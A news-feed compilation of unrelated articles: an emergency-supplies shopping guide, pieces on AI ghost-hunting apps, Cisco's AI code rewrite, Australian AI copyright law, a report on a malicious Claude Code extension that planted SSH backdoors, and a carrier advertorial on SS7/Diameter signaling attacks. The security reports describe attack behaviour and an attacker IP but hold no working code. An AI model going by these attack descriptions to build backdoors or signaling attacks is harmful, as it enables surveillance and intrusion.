A black headlamp with a grey and black patterned elastic strap

Everbeam 650-lumen head torch

£16.99 at Amazon

For more, read the Filter’s guide to the best head torches


Water

“Having water stored is really important for a whole range of emergencies. The [mains] water might go off or get contaminated in some way. The key thing is to make sure you’ve got enough for the number of people in your household. My advice is to have 10 litres per person per day for hygiene, cooking and drinking,” says Cloke. The government guidance suggests having enough bottled water for three days. It says you should have “three litres per person per day for drinking. More would be needed for other tasks such as cooking and washing”.

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Water filter

Hudson recommends a water filter bottle such as Pure Hydration’s Aquapure Traveller, which has a clever purifier cap to reduce harmful substances and microorganisms in water. You put in any fresh water, screw the cap on, and drink the water you squeeze through the purifier. “They’re amazing,” Hudson says. “The filter takes out a lot of the things in water that can harm you, from large things such as pathogens – worms and snail eggs – through to bacteria and tiny viruses, so you can more safely drink from any fresh water source you can find, such as rivers or rainwater. We’ve used them for 20 years in all sorts of environments with the military.” It’s a good idea to buy extra filters , too, although Hudson says they’re “good for 350 litres, so enough water at least 10 days if you’re not somewhere super hot and/or humid”.

A black AquaPure traveller water purifier bottle with filter cap in retail packaging

Aquapure Traveller

£49.50 at Pure Hydration

Power bank

“I think a power bank is more useful than batteries,” says Hudson. “You can buy big ones [he recommends the size below] that will also jump-start a car, which is quite handy, and also charge things such as head torches and phones. These days the bigger, the better if you don’t have to carry it; so many items need juice.”

A black jump starter device with red jumper cable clamps, shown beside cables and a pouch

Portable car battery jump- starter power pack

£39.99 at Amazon

For more, read the Filter’s guide to the best power banks and battery packs in the UK for reliable charging on the go


Hand sanitiser

“Basic alcohol hand gel is important. If the water supply goes out, things like coughs and colds can spread within the family. Having a supply of hand sanitiser is good preparedness,” says Duffin. Cloke also recommends stocking up on “packets of wet wipes for basic hygiene, particularly if you’ve got babies”.

Six bottles of Cuticura anti-bacterial hand gel stand in a branded display box

Cuticura anti bacterial hand gel

£1.55 for 100ml at Boots
£9.30 for 6 x 100ml at Amazon
A blue packet of Wet Ones antibacterial wipes stands against a plain white background

Wet Ones Be Fresh Original antibacterial wipes

£2 for 40 wipes at Boots
£9.43 for 6 x 12 wipes at Amazon

Candles

“Candles provide light without burning through your power supply. Go for stocky, fat ones because they’ll fall over less easily and last longer. Tea lights are also good – they don’t burn for ages, but you can buy sackfuls of them for not much money. You need matches too, like the big chunky boxes of Cook’s matches. Don’t leave unattended, and make sure you’ve got a fire extinguisher or a fire blanket,” says Hudson.

Two ivory votive pillar candles with wicks stand upright in a branded box

Votive pillar candles , four pack

£3.50 at Dunelm

Pulses

A woman reaches into a store cupboard shelf stocked with canned goods and jars
Cupboard staples: tinned and jarred foods are handy when fresh supplies or cooking facilities are limited.

“Tinned beans, chickpeas and lentils all have a long shelf life and are rich in fibre, nutrients and protein,” says Dr Federica Amati, head nutritionist at Zoe, nutrition lead at Imperial College London’s school of medicine and author of The Appetite Reset and Every Body Should Know This . “Getting a variety is good for flavour reasons, but also for micronutrient content. Dried lentils are easy to cook, but if there’s a power cut or a shortage, tinned and jarred lentils will serve you better.” Oh, and don’t forget a tin opener.

A black and silver handheld can opener with soft grip handles lies on a white background

Oxo Good Grips soft- handled tin opener

£19 at John Lewis
£16.15 at Amazon

Grain pouches

“Microwaveable pouches are fantastic. If you’ve got a few ready to go, then if for whatever reason you don’t have enough water or can’t use the hob but you have a microwave, you can have these. Some of them you don’t even need to microwave, and you can just eat them out of the packet,” says Amati.

Six identical pouches of Merchant Gourmet Brown, Red & Wild Rice stand together

Merchant Gourmet brown, red and wild rice, 250g x 6

£9 at Amazon

Tinned fish

“Get a variety of tinned fish, like mackerel, sardines, anchovies and sprats. Tinned mackerel is one of the easiest to integrate, and you can get them tinned with tomatoes, which a lot of people prefer if they don’t like fish. Find something you like, and then buy a couple more of those in your next shop, so you can build up a supply,” says Amati.


Frozen fruit and vegetables

“Buy frozen fruit and vegetables, if you have the space. Frozen veg is picked ripe and blanched within hours. Have some frozen berries and veg – broccoli, cauliflower and peas. You can get jars and tins of vegetables too, like roasted peppers, sweetcorn, carrots or beetroot,” says Amati. It’s also worth noting that, in the case of a power outage, food should stay frozen for up to 48 hours in a full freezer, or 24 hours if it’s half full , provided you keep the door closed .


UHT milk, teabags and chocolate

“UHT milk is worth getting, and make sure you have enough teabags, because you might be able to have a cup of tea, and those things are still important. Dark chocolate is also awesome – it keeps for months, needs no cooking or power, and offers plenty of energy in a small square, mostly from cocoa butter fats that sustain you rather than causing a rapid rise and crash in energy,” says Amati. She suggests opting for 70% cocoa or above so that “you also get more fibre, magnesium, iron and cocoa flavanols, plant compounds that support healthy blood vessels”.

For more, read the Filter’s guide to the best supermarket dark chocolate


Oats

“Oats are fantastic,” says Amati. “You can just add hot water, mix them up, and then you’ve got something to eat. And you can eat them raw, mixed into yoghurt or milk.”


Vacuum-packed bread

“If you can’t buy fresh bread and you can’t freeze it, unopened vacuum-packed rye bread can last about six months, and it’s super nutritious,” says Amati.

A loaf of Biona organic rye bread wrapped in packaging decorated with wheat stalks

Biona organic rye bread, 500g

£3 at Waitrose

Other tips

Hands arrange a first aid kit on a table beside canned goods and pill bottles
Be prepared: keep your first aid kit stocked and make sure you have enough of your regular medication. Photograph: Riska/Getty

Have some cash

“If there’s been some kind of tech outage and things are slowly coming back up, you might not be able to use your cards or phone to pay for stuff, so it’s worth having a little bit of cash,” says Hudson.

Write down numbers

“Everyone’s got people’s numbers in their phones, but what if the phone’s broken? Have some numbers written on a piece of paper, like people that you care about that you want to check in with and a number for a local medical centre in case you need to get your prescription,” Hudson says.

Stock up on vital meds

“If you’ve got some extra regular medication, that’s great. Sometimes people struggle to get that prescribed for them. But if you can stay a few days ahead, that will really help in case of emergency. I like to suggest having enough for a week or a month if you can, or at least two days if you’re struggling,” says Cloke.

Duffin suggests having “at least seven to 14 days of your vital repeat medications in hand”, and that this is a useful thing to do anyway. “Request your script early, not just because of a severe weather event or a nuclear attack. If supply chains become more volatile, the medicine you need may not be in stock and might need to be ordered in.” The government guidance says that “it’s important to request prescriptions up to five working days before you need your medicine”. The NHS also has an online form you can use to request emergency supplies of prescription medicine if you have run out, but note that they advise against ordering more than needed.

For more, read the Filter’s guide to the best camping stoves and the best power banks


Isabelle Aron is a lifestyle and culture journalist who’s written features on everything from the secrets of superagers to chefs on their favourite kitchen gadgets

Ghost in the machine: how AI is haunting the search for the supernatural

Guardian
www.theguardian.com
2026-10-30 11:00:16
Ghost hunting has changed in recent years due to AI chatbots, and paranormal enthusiasts are concerned Ghost hunting is a tech-heavy pursuit. When Amy Waine and Jarrad Cutting investigate haunted locations, they’re loaded up with software of their own design, such as an app that assigns signals from...
Original Article

Ghost hunting is a tech-heavy pursuit. When Amy Waine and Jarrad Cutting investigate haunted locations, they’re loaded up with software of their own design, such as an app that assigns signals from a phone’s sensors to different words in a database. In the age of ChatGPT, the ghost-hunting pair is probing the world of AI. They describe one of their latest inventions, an app called GhostTube Seer , as “the world’s first AI Ghost Hunting tool”.

In the hands of paranormal investigators, scientific tools like EMF meters (used to detect electromagnetic fields) are repurposed to identify changes and anomalies that they believe indicate supernatural activity. Seer is, in many ways, simply an expansion of that practice, another way to scan an empty room and believe that something may be there. The app, which requires a paid monthly subscription, has more than 1m downloads, according to its Google Play store listing .

But for others in the ghost hunting world, AI is an unwelcome presence. Since the release of ChatGPT in 2022, AI-generated ghost stories and images of the supernatural have flooded online spaces, so much so that popular forums like the r/Nosleep subreddit , meant for scary stories, have implemented a strict policy against AI-generated material.

Waine and Cutting claim their app can generate images depicting the supernatural, using signals from a phone’s built-in magnetometer, identifying words and phrases in those signals, and then running them through an image generator.

Fellow paranormal enthusiasts can post the images they generate to a feed and comment on other users’ pictures. Since its release in 2023, Seer has become a regular part of their onscreen work. In a recent video on their Amy’s Crypt YouTube channel, the pair sat in a carefully selected location in the Winchester Mystery House while running GhostTube Seer.

“Can you show us what used to go on in this room?” Cutting asked. The app generated an abstract compilation of wooden walls and golden curtains that the pair suggested could be one of the home’s bedrooms. Seer also generated images of humans and animals while running: a woman reading, another woman with a black shawl, and a flock of white birds flying. Each was interpreted by the pair to have some relevance to the history of the home.

The pursuit of ghosts has historically been relatively niche and personal, even after early 2000s TV shows like Ghost Hunters prompted a surge of interest in the hobby. That’s changed in recent years. Ghost stories and sightings, once they find their way online, can become training material for large language models like ChatGPT or Google Gemini, just like any other content.

New technologies have always been a part of paranormal history, says Alex Matsuo, a paranormal researcher and author whose day job is in the technology industry. Thomas Edison’s attempt at a “spirit phone” to contact the dead is an early example, one with an ambition not dissimilar to today’s AI-powered “ deathbots ”. The history of spirit photographs, a hotly debated phenomenon of the 19th and early 20th century, parallels advances in new photography techniques.

Some paranormal enthusiasts, though, are concerned that generative AI is more than just another new technology to play with and instead threatens the soul of what they do.

“I’m not surprised that AI has been embraced by a lot of people in the ghost hunting community,” said Matsuo.

When GhostTube Seer was first released, she tried it out. She is skeptical of what she’s seen so far.

“Any time someone’s coming out with a ghost hunting tool using AI, my big question has always been: ‘OK if you’re using AI, you’re using some sort of large language model, what data are you training it on to [determine] what’s a ghost?’” Matsuo said. She also noted that there are ethical concerns: is a generative image tool using copyrighted art to create its own spectres? Are ghost hunting chatbots sending users into their own “paranormal echo chambers”?

Other paranormal enthusiasts are embracing the proverbial ghost in the machine. Seer isn’t the only generative AI app designed for ghost hunters. Sean Austin, a paranormal investigator who was featured on a Travel Channel series about ghost hunting, launched an app called Spirit Phone Innovations that uses “advanced AI” to analyze audio signals to detect EVP – electronic voice phenomena – a mainstay of ghost hunting.

Matsuo believes the heart of looking for ghosts should remain deeply human.

“A lot of us come into the ghost hunting world because we’ve gone through some trauma or grief,” she said. Ghost hunting is, for many, a form of processing loss, she said. “Everyone’s trying to find the next big thing that could give us an answer into the unknown or validating the existence of ghosts.”

As AI’s physical footprint expands with the rapid construction of datacenters across the US, ghostly locations are likewise facing the threat of change. A former asylum in Pennsylvania that became a beloved haunted house was sold to a datacenter developer in late 2025 to be torn down. However, local residents banded together and successfully blocked it in May.

Malicious Claude Code extension on Cursor planted SSH backdoors

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 10:36:54
A malicious version of Anthropic's Claude Code VS Code extension was distributed through Cursor's extension marketplace for approximately 11 hours on October 29, exposing up to 5,000 developers to malware designed to install persistent SSH backdoors. [...]...
Original Article

Claude code

A malicious version of Anthropic's Claude Code VS Code extension was distributed through Cursor's extension marketplace for approximately 11 hours on October 29, exposing up to 5,000 developers to malware designed to install persistent SSH backdoors.

The extension used the version number 2.1.313 and was distributed between 2:27 a.m. and 1:35 p.m. Pacific Time.

Cursor is an AI-powered code editor built from Microsoft’s open-source Visual Studio Code (VS Code), with support for VS Code extensions. Anthropic’s Claude Code extension brings its AI coding assistant directly into compatible editors, helping developers write and debug code using natural-language instructions.

Cursor says Anthropic did not develop the malicious extension but has not explained how attackers distributed the compromised package under Anthropic's name.

"Between about 2:27 am PT and 1:35 pm PT today, a maliciously modified version of Anthropic’s Claude Code extension was made available in the Cursor VS Code extension Marketplace," warned Cursor .

"The extension runs malicious code that attempts to install a persistent SSH backdoor."

Researchers at Phorion and OpenSourceMalware found that the attackers inserted a malicious JavaScript loader at the beginning of the extension's extension.js file, leaving the legitimate extension code otherwise unchanged.

The malicious code executes when the extension loads, without requiring user interaction with Claude Code.

When installed, the malicious extension performs the following actions on compromised systems:

  • Collects system and user information, including Git email and public IP address.
  • Adds an attacker-controlled SSH key and attempts to enable SSH access and establish a reverse tunnel.
  • Installs persistence through a macOS LaunchAgent or Windows scheduled task/Startup script, retrying the tunnel roughly every minute.
  • Sends host details and backdoor status to the attacker’s server at the IP address 134.209.82[.]225
Attack chain
Attack chain
Source: OpenSourceMalware

However, according to Phorion, coding errors in the malware's SSH setup routines likely prevented attackers from gaining remote access to many affected Windows and macOS systems.

The mistakes prevented the malware from enabling SSH on machines where it was not already running, leaving the reverse tunnel unable to provide access to the compromised device.

On macOS, the malware attempts to check whether Remote Login is enabled using the systemsetup -getremotelogin command, but runs it without elevated privileges. Instead of returning the SSH service's status, the command produces an administrator-access error.

Because the malware only attempts to enable SSH when the output contains "Off," it skips the activation step entirely.

On Windows, the malware attempts to install and start the OpenSSH server through PowerShell, but it tries to do so via /bin/sh, a Unix shell that isn't available on standard Windows installations. Due to this, the SSH setup fails.

In both cases, the malware can still install its SSH keys, establish persistence, and attempt to create the reverse tunnel. However, if the SSH server is not already running, the tunnel cannot provide access to the compromised machine.

Even if the SSH backdoor fails, the malware still sends reconnaissance data to the attacker's server, including the victim's username, hostname, public IP address, Git email address, and names of environment variables associated with sensitive credentials.

However, the script does not directly steal credentials, suggesting the attackers intended to retrieve sensitive data manually after gaining access through the SSH tunnel.

Cursor removed the malicious extension and temporarily shut down its entire marketplace to audit other extensions and rotate all access keys before making it available again.

The company also worked with the hosting provider to take the attacker's server offline, disrupting both the reverse SSH connections and the transmission of reconnaissance data.

Following an internal investigation, Cursor says it found no evidence that any other extension versions or the official distribution were affected.

Those who have downloaded the package during the exposure window should check for the presence of an 'svc-telemetry' SSH key on their machines, and follow Cursor’s remediation instructions if impact is confirmed.

For impacted machines, it is recommended to isolate them, rotate accessible secrets, invalidate sessions, and rebuild the affected environment from safe backups.

While initial reports suggested that npm, Open VSX, and Microsoft's Visual Studio Code Marketplace were also impacted, it was later confirmed that Cursor was the only source distributing the malicious extension.

However, many questions remain unanswered about the supply chain attack, including how the threat actors published a malicious extension under Anthropic's name on Cursor's marketplace and whether Cursor or Anthropic's systems were compromised during the incident.

BleepingComputer contacted Anthropic and Cursor with questions about the attack and will update this story if we receive a response.

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Medicare Will Pay $50k for Your Heart Attack. It Should Pay $100 to Prevent It

Hacker News
www.medpagetoday.com
2026-10-30 10:27:44
Comments...
Original Article
You don't have permission to access "http://www.medpagetoday.com/opinion/second-opinions/123553?" on this server.

Reference #18.3bf2da17.1793372468.182b0b09

https://errors.edgesuite.net/18.3bf2da17.1793372468.182b0b09

Eight more stable kernel updates

Linux Weekly News
lwn.net
2026-10-30 10:22:39
Greg Kroah-Hartman has announced the release of the 7.3.1, 7.2.14, 6.18.60, 6.12.115, 6.6.161, 6.1.191, 5.15.224, and 5.10.273 stable kernels. As usual, he advises all users to update—advice that seems especially wise given the increased number of security-relevant bug fixes that the kernel is seei...
Original Article

[Posted October 30, 2026 by daroc]

Greg Kroah-Hartman has announced the release of the 7.3.1 , 7.2.14 , 6.18.60 , 6.12.115 , 6.6.161 , 6.1.191 , 5.15.224 , and 5.10.273 stable kernels. As usual, he advises all users to update—advice that seems especially wise given the increased number of security-relevant bug fixes that the kernel is seeing these days. [Edit: the 7.2.15 stable release is already in review as well.]



Neal Stephenson on AI and What Comes Next [video]

Hacker News
www.youtube.com
2026-10-30 10:18:34
Comments...

Cisco gives engineer unlimited AI tokens to rewrite 98% of the company's code

Hacker News
www.tomshardware.com
2026-10-30 10:08:20
Comments...
Original Article
The Cisco logo on a blue wall.
(Image credit: Getty Images)

In a world where youth unemployment is growing as AI replaces more and more entry-level jobs, Cisco president and chief product officer Jeetu Patel is going for a different approach. According to a report by Fortune , he's given a 27-year-old ex-startup founder — brought into the company by an earlier acquisition, and previously languishing in a role five levels below — a new job to refactor 98% of the company's legacy code within 24 months.

The employee, Padmanabhan Krishnamurthy, joined Cisco after it acquired EzDubs, a translation startup that Krishnamurthy helped build in 2023. While having executive experience, Patel found that "Paddy" was left "buried away in the organization doing something unstrategic."

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Ben Stockton is a deals writer at Tom’s Hardware. He's been writing about technology since 2018, with bylines at PCGamesN, How-To Geek, and Tom’s Guide, among others. When he’s not hunting down the best bargains, he’s busy tinkering with his homelab or watching old Star Trek episodes.

Cisco gives engineer unlimited AI tokens to rewrite legacy code

Hacker News
fortune.com
2026-10-30 10:08:20
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Original Article

Gen Z can’t catch a break. Entry-level jobs are vanishing ; some 40% of bosses say they plan to hire fewer grads because AI can do the job cheaper, and young workers are routinely slammed for showing up late and refusing to put in overtime for free . Cisco’s president and chief product officer Jeetu Patel isn’t buying it—he’s just handed one of the company’s biggest jobs to a 27-year-old he found hidden in the org chart “five levels” below him.

“I’ve given him unlimited tokens because he’s going to refactor code,” Patel told Fortune at a small roundtable dinner. “So I’m like, you can go, you can go nuts.”

The “him” is Padmanabhan Krishnamurthy, or “Paddy,” as Patel affectionately calls him. He joined Cisco in 2025 after the $429 billion tech giant acquired EzDubs , the real-time translation startup Krishnamurthy cofounded in 2023. And despite coming in as a former founder with CEO experience, he was, in Patel’s words, “buried away in the organization doing something unstrategic.”

That changed when Patel dropped into Cisco’s San Francisco office, and the pair got talking. Krishnamurthy reckoned he could rewrite Cisco’s legacy code with a two-person team. Patel says even the most AI-forward people on his own team weren’t thinking that way.

So he has given himself four weeks to prove it, with the final goal of rewriting 98% of Cisco’s legacy code within 24 months.

Now, he’s on the hunt for more Paddys: young hires who will “challenge the system and the status quo,” or, as he puts it, be “an energizer bunny that just goes out and kind of revs everyone up.”

Cisco’s president says Gen Z should be teaching his veterans, not doing data entry—and he’s fine with the tension that causes

At most companies, only someone with decades of experience under their belt would be trusted with a project this size. Patel thinks that’s a problem.

“If you don’t hire the early-in-career [workers], and you just let your workforce continue the way that they were, where do fresh ideas get injected? How do you challenge the status quo?” he said.

Seasoned staff can still come up with new ideas, Patel added. What they can’t do is ask the questions that only someone with no experience would think to ask.

And getting the two to get along isn’t always smooth. Patel admits that putting a Gen Zer in a room with people who’ve been at Cisco for decades can create friction—but he says that’s the point.

“Tension is good,” he said. “I actually try to create tension in the teams because you want to have enough friction on the ideas. You don’t want to have friction with people and personalities.”

“What you have to do is establish enough trust with people to say you are going to be expected to create unreasonable goals for yourself,” he added. “And so, in order to go out and achieve those unreasonable goals, think outside of the box.”

And he’s not just pushing senior staff to take notes from twentysomethings. He said that he treats every intern as “kind of a reverse mentor,” and even does talks at colleges to find students who are “hungry.”

His latest Gen Z bet came out of one of those talks, to 17- and 18-year-old Stanford scholarship students. While a line of students fired questions at him, one, Baya, stood off to the side, just listening. She waited until everyone else had finished before she opened up.

He told her to email him every month with what she’d learned about AI. It was a test of follow-through: “Everyone can go out and have one good conversation. But are they going to stick with their commitments?”

She never missed one, landed an internship at Cisco, and redesigned “something” that experienced staff hadn’t been able to crack.

“I didn’t bring her in so that she can do grunt work and do data entry,” he said. “We brought her in so that she could actually teach our people how to think completely differently.” Now he wants to recruit her.

Patel isn’t the only one betting on Gen Z—OpenAI investor Josh Kushner and Will.i.am are hunting for young, hungry talent

Patel isn’t the only boss who sees Gen Z’s lack of experience as an asset.

Thrive Capital’s founder Josh Kushner told Fortune he specifically likes to hire people with less than four years of industry experience.

When he launched the venture capital firm at just 26, he faced pressure to bring in older, more seasoned hires. But, as he put it, “anyone who has experience that is talented will never want to work with a 26-year-old.” So, instead, he recruited the “smartest people that we knew who were our ages.”

And that bet paid off: His firm made early investments in startups worth billions, including OpenAI , which is currently raising up to $30 billion at a $1.25 trillion valuation.

These days, Kushner could easily hire industry veterans with glowing résumés—but he’d still rather “find that young, hungry person.”

Alon Chen, founder and CEO of Tastewise—a generative AI platform trusted by PepsiCo , Nestlé, and Mars—is also actively looking for Gen Zers with zero experience.

“I’m hiring entry-level because they have no boundaries or limitations in how they think about the world,” Chen told Fortune . “They’re almost like AI natives themselves, having been born and raised in this new realm of opportunities. And I see some of the best ideas coming from the younger generation that have not yet been in the job market.”

And Will.i.am has reached a similar conclusion. The Grammy-winning Black Eyed Peas frontman might be best known for his chart-topping hits, but behind the scenes, he’s a serious investor too. He backed Tesla , OpenAI, and Pinterest before they became household names—and now, he’s betting on Gen Z for his next investment.

Why? He believes the next big tech breakthroughs will come from young innovators at MIT and Stanford.  “They’re young kids, and they’re native to this,” Will.i.am told Fortune . “So you want to hunt for that. That’s the only thing I’m focused on.”

And Patel told Fortune that the trend toward hiring Gen Z will only continue, thanks to AI.

“The only way for us to keep accelerating is to make sure we’re surrounded by people with a broad range of experience,” he said. “Roughly one-third of my team is experienced, scaled operators who understand how the Cisco engine works. The second third are systems thinkers from the market who bring the outside-in perspective. And the final third is made of entrepreneurial founders, CEOs, and engineers who are AI-native who operate in founder mode.”

“Either of these groups by themselves aren’t nearly as potent as when all three work together. It’s what creates magic.”

Experts warn AI copyright changes could breach Australian constitution and spark huge compensation rights case

Guardian
www.theguardian.com
2026-10-30 10:00:18
Scraping copyrighted material from internet could ‘potentially’ amount to acquisition of property by government, Anne Twomey saysGet our daily political email, free app or daily news podcastAltering copyright law to allow AI companies to scrape music, books and journalism could trigger a constitutio...
Original Article

Altering copyright law to allow AI companies to scrape music, books and journalism could trigger a constitutional breach, Coalition senators and the recording industry have warned, as they raise new fears it could open Australia to massive legal action and compensation claims from rights holders worldwide.

The attorney general’s department admitted it was “extremely alive” to the issue, and Australia’s leading constitutional expert, Anne Twomey, agreed there was “potentially” a concern – depending how legislation was drafted – that granting AI companies permission to scrape copyrighted material from the internet could amount to an acquisition of property by the government.

In a simmering debate centred on the same legal point as the movie The Castle , the question of acquiring property “on just terms” is emerging as a key concern amid furious lobbying from tech companies and rights holders ahead of a looming federal government announcement on AI.

“We could be liable for ‘just terms’ compensation for acquiring that property for every rights holder on Earth,” Ross Cadell, a Nationals senator, told Guardian Australia.

Michaelia Cash, the shadow attorney general, said the government should not “sell out Australian creators and rights holders in the rush to entice AI investment”.

Labor is mulling copyright changes in a suite of reforms around AI, including datacentres, online safety, workforce, energy and the economy. While the prime minister, Anthony Albanese, has promised “the strongest possible protection” , warning it would be “theft” if creatives weren’t paid for their work, creative industries are alarmed that AI companies have requested a weakening of copyright law to train on Australian material.

Some AI companies have rejected making licensing agreements under existing copyright law, saying it was too difficult. Anthropic suggested an “opt-out” model which would allow it to scrape content unless a rightholder deployed digital protections signaling an objection.

A fresh concern being aired by sceptics and creatives is that any weakening of copyright to benefit AI could represent a breach of section 51 of the constitution, which allows the commonwealth to make laws about “the acquisition of property on just terms”.

“If they go ahead with an opt-out model, it does raise a real question of whether the government is acquiring the intellectual property rights of others,” said Cadell, a member of the federal parliamentary committee on AI .

“How we support property rights is core to this.”

A spokesperson for the attorney general, Michelle Rowland, said the government was “committed to supporting” creatives and pledged that “any future copyright changes deliver meaningful control and fair compensation”.

Anne Twomey, professor emerita of law at the University of Sydney, said the issue was exceedingly complex and noted no legislative proposal had been aired. She said numerous cases had come before the high court relating to copyright and acquisition of property, including about video games, cigarette plain packaging and cassette tapes, with varying outcomes.

Twomey expected the federal government would be hyperaware of such concerns, but said granting a new right to AI companies to use copyrighted material and diminishing the rights of copyright holders could “potentially” trigger constitutional issues.

“The high court has recognised a number of exceptions to section 51 … One would want to be quite confident before enacting the legislation about whether or not section 51 would apply,” Twomey told Guardian Australia.

She said any change allowing Australia to host AI companies training on international data could potentially create grounds for global rights holders to take legal action here.

Cadell told Guardian Australia he worried about such a development opening the federal government to liability for “the biggest compensation rights case in history”.

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Cadell raised his concerns about the constitution in a committee hearing with the attorney general’s department on Friday, in which officials said they were conscious of those issues.

Officials did not directly answer when Cadell asked about international implications and liability for compensation to foreign rights holders.

Annabelle Herd, the CEO of the Australian Recording Industry Association, claimed any proposal to allow AI companies to scrape data was “clearly an acquisition of property”.

“It’s hard to imagine what kind of compensation would make up for the fact that they’re basically taking our right … and trading it away to the AI companies to then monetise themselves, and that appears to be a clear path to a constitutional challenge.”

Chris Maund, CEO of Mushroom Records, said current copyright law was working and that AI companies should use existing licensing arrangements, noting companies such as Spotify were already making AI-related deals.

He also raised concern about international ramifications were Australia to change copyright law, saying it would not only apply to Australian artists and copyright owners.

“The AI company could do their training here in Australia and circumvent the copyright laws that apply outside of Australia, and that’s why the international creative industries are watching this very closely,” he said.

Maund said international rights holder groups had been urging Labor not to weaken copyright law. Guardian Australia has provided submissions to the Joint Select Committee as a member of Australia’s wider rights holder community.

“The Australian government has been really great to the music industry, particularly Prime Minister Albanese and Tony Burke. They’ve set up Creative Music Australia, which companies like us and our artists have done very well out of, but it feels like they’re out of step with artists and copyright owners on this point,” he said.

Cash said the Coalition welcomed the benefits of AI and wanted investment, but also raised the constitutional concern.

“That is the prime minister’s own test, and the government should be held to it,” she said of compensation to rights holders.

“The constitutional question of property rights and their acquisition on just terms is also a live issue we will be examining depending on what the government puts forward.”

Cadell said while AI had benefits, he worried about its risks.

“There’s lots of talk about what the benefits may be and what may happen. But if we take these rights away, we know what will happen,” Cadell said.

“I don’t want to hurt people for a ‘may’.”

SS7 and Diameter Attacks: How Signaling Flaws Expose Your Phone

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 10:00:10
Flaws in SS7 and Diameter signaling protocols can allow attackers to track phone locations, intercept calls and SMS verification codes, and impersonate subscribers without compromising their devices. Cape explains how these attacks exploit trust between networks and how its security-focused mobile s...
Original Article

Cell Tower

SS7 and Diameter signaling attacks can track, intercept, and impersonate you. Here’s how they work and how to stop them.

Your phone can be tracked, your SMS two-factor codes can be intercepted, and your number can be impersonated, all without malware, a phishing link, or any access to your device.

The attacks happen inside the telecom network, in the carrier-to-carrier control protocols known as signaling, the automated descendants of the old telephone switchboard. Most users never see them, and most carriers can’t reliably stop them.

Signaling attacks aren’t new. Most recently, they made headlines when Iranian-linked actors reportedly exploited outdated network technology to locate the phones of US personnel in the Middle East during the Iran war.

But the vulnerability has been around for decades, and it’s been used for far more everyday crimes, like intercepting bank one-time passcodes. It has even been demonstrated by popular YouTubers: Veritasium hijacked a tech influencer’s calls and texts using only his phone number.

This keeps happening

What is a signaling attack?

Every call, text, and mobile data session requires your carrier to verify you’re a paying customer and route your traffic to the right destination.

Carriers do this with signaling–background messages that identify your location and forward traffic accordingly. Signaling has been the connective tissue between global providers for decades, and it is one of the most overlooked attack surfaces in mobile security.

Two protocols do most of the work: SS7 (from the 1970s, used in 2G/3G) and Diameter (its successor, used in 4G and most 5G).

Both were designed when a small number of large operators could plug into the system, so they assume that traffic claiming to come from a legitimate operator really does. SS7 has essentially no process for authenticating the machine making a request.

Diameter supports stronger authentication on paper, but operators don’t always deploy basic protections like encryption, and many fall back on the same peer-to-peer trust model.

An attacker with access to the global signaling backbone, through a commercial leasing arrangement or a compromised operator, can send messages that carriers worldwide treat as trustworthy.

How does it work

Signaling lets an attacker ask your carrier questions and make claims on your behalf:

  • Harvest your IMSI. Knowing your number, an attacker can request your International Mobile Subscriber ID (IMSI) under the pretense of routing a call or SMS. It can be reused for follow-on attacks for years.

  • Locate you in real time. Queries can return the cell tower you last connected to. Others, normally reserved for emergency responders, can return the actual coordinates your phone reports.

  • Intercept communications. The attacker claims you’ve roamed onto another network, so your calls and texts are redirected to them. Combined with a stolen username and password, this delivers your SMS second factor to the attacker instead of you.

  • Impersonate or block you. With your IMSI, an attacker can place calls or send SMS as you. A false roaming claim can also cut off service to your phone.

  • Disrupt networks. Deliberately misconfigured signaling messages can overwhelm provider systems.

None of this touches your device. It happens in automated transactions you can’t see and that leave no trace on your phone.

Why firewalls and velocity checks fall short

Carrier signaling firewalls reliably block messages sent to or from the wrong place. For correctly routed messages, they often run a velocity check to test whether you could physically have traveled from your last known location to the one now claimed. If you were in New York an hour ago and a Turkish carrier says you’re on its network, the request is denied.

The structural problem is that the firewall’s location data is often hours old. In research presented at the Wireless Security conference in 2025, Cape, the privacy-first mobile carrier, measured Diameter updates from a visited network arriving as infrequently as every two to ten hours.

For subscribers in the US and Germany, over 250 distinct networks are reachable within a single hour of travel time. An attacker with enough operator identities will eventually find one that looks plausible.

Citizen Lab’s report shows this in practice: the actor it calls STA1 repeatedly tried to track a user by rotating through eleven operator identities in nine countries to look like legitimate roaming traffic. They also pivoted between SS7 and Diameter, which most carriers defend with separate firewalls and little coordination.

call flow

Consider a target who boards a flight from Nashville to Berlin and powers off her phone. A message posing as China Mobile claiming she’s roaming there gets rejected, because it’s physically impossible.

A message from a carrier in nearby Nassau, Bahamas, looks plausible, and the home carrier can be fooled into routing her calls and SMS to the attacker.

Protect yourself with private cell service.

Cape is America's privacy-first mobile carrier providing unlimited talk, text, and 4G/5G data, built from the ground up with privacy and security at it's core.

Most carriers track everything: where you go, who you call, what you do. Cape collects the minimum amount of information required to provide you with service, deletes call and text metadata after 24 hours, rotates your network ID to prevent tracking, defends against SIM- and network-based attacks, and more.

Privacy shouldn't cost more. Switch today and get $29 off for life.

Learn More →

How Cape defends against signaling attacks

Cape is a privacy-first mobile carrier, whose approach is to assume the global telecom system is compromised and build protections that keep communications private anyway. There are four layers:

1. Daily IMSI rotation. Almost every targeted signaling attack starts with an IMSI, and once an attacker has yours, it stays useful for as long as you have it. A Citizen Lab report confirms this, with the same IMSIs being attacked across operations separated by months and years. On most carriers, your IMSI is permanent. You get one when you activate your SIM and you keep it forever. On Cape, your IMSI rotates daily . The databases of harvested IMSIs that surveillance vendors build up over the years are no longer useful against Cape subscribers.

2. No SS7. Cape doesn’t support SS7 at all, and there is no SS7 fallback in the network, so SS7-based attacks have nothing to land on. Many carriers still struggle to retire legacy SS7 infrastructure because some revenue-generating part of their network depends on it.

3. Network Lock. Instead of trusting a network’s idea of where you are, Cape asks your device. When a foreign network requests to attach to your phone, Network Lock queries the Cape app, which evaluates the claim locally at the country level and reports back whether it matches. If an attacker tries to attach your IMSI from another country while your phone is at home, the request is denied and you’re notified. Cape’s systems learn only whether the claim matches, not where you actually are, and Cape never collects or stores your precise location.

4. Continuous penetration testing. Most signaling firewalls are compliance tools tuned to GSMA baseline recommendations. Those recommendations are distributed to more than 1,200 member providers, so the same guidance is available to attackers who can send signaling messages. Cape has third-party firms that specialize in current signaling exploitation techniques to test its infrastructure, then hardens the network against what they find, especially anything affecting subscriber privacy.

Attack

Other Carriers

Cape

Real-time location tracking

Phone attaches whenever it gets service; velocity checks can be beaten by plausible spoofing

Network Lock verifies attach requests against your device

IMSI harvesting and reuse

IMSI is permanent and stays useful indefinitely

Daily rotation makes previously harvested IMSIs useless

SS7-based attacks

